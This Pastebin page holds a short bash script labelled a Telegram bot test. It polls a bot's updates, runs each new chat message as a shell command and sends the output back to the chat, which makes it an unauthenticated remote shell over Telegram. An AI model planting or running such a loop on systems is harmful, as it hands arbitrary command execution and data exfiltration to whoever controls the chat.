Advertisement
constantin-net

tlg_bot_test.sh

Jul 4th, 2024 (edited)
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.54 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. timeout=10
  4. token=TOKEN
  5. chat_id=CHAT_ID
  6. json_s="https://api.telegram.org/bot$token/sendMessage -d chat_id=$chat_id"
  7. # initial message
  8. curl -s -X POST https://api.telegram.org/bot$token/sendMessage -d chat_id=$chat_id -d text="start" &> /dev/null
  9. sleep 2
  10. curl -s -X POST https://api.telegram.org/bot$token/sendMessage -d chat_id=$chat_id -d text="enter commands" &> /dev/null
  11. json_r_init="https://api.telegram.org/bot$token/getUpdates"
  12. json_r="https://api.telegram.org/bot$token/getUpdates?offset="
  13. wget "$json_r" -q -O jsontest_init
  14. counts_init=0
  15. counts_init=$(cat jsontest_init | jq -r '.result | length')
  16. upd_id_init=$(cat jsontest_init | jq ".result[$counts_init-1].update_id")
  17. upd_id=$upd_id_init
  18. wget "$json_r"$upd_id_init -q -O jsontest0
  19. counts=0
  20. counts=$(cat jsontest0 | jq -r '.result | length')
  21. while true
  22. do
  23. wget "$json_r"$upd_id -q -O jsontest1
  24. if [ $(stat -c %s jsontest0) -ne $(stat -c %s jsontest1) ]; then
  25.    counts=$(cat jsontest1 | jq -r '.result | length')
  26.    cmd=$(cat jsontest1 | jq ".result[$counts-1].message.text")
  27.    upd_id=$(cat jsontest1 | jq ".result[$counts-1].update_id")
  28.    wget "$json_r"$upd_id -q -O jsontest0
  29.    result=$(bash -c \""$cmd"\")
  30.    if [ $? -eq 0 ]; then
  31.        echo "Success"
  32.        curl -s -X POST https://api.telegram.org/bot$token/sendMessage -d chat_id=$chat_id -d text="$result" &> /dev/null
  33.    fi
  34. #else
  35. #    echo "no command"
  36. #    curl -s -X POST https://api.telegram.org/bot$token/sendMessage -d chat_id=$chat_id -d text="$upd_id" &> /dev/null
  37. fi
  38. sleep $timeout
  39. done
  40.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement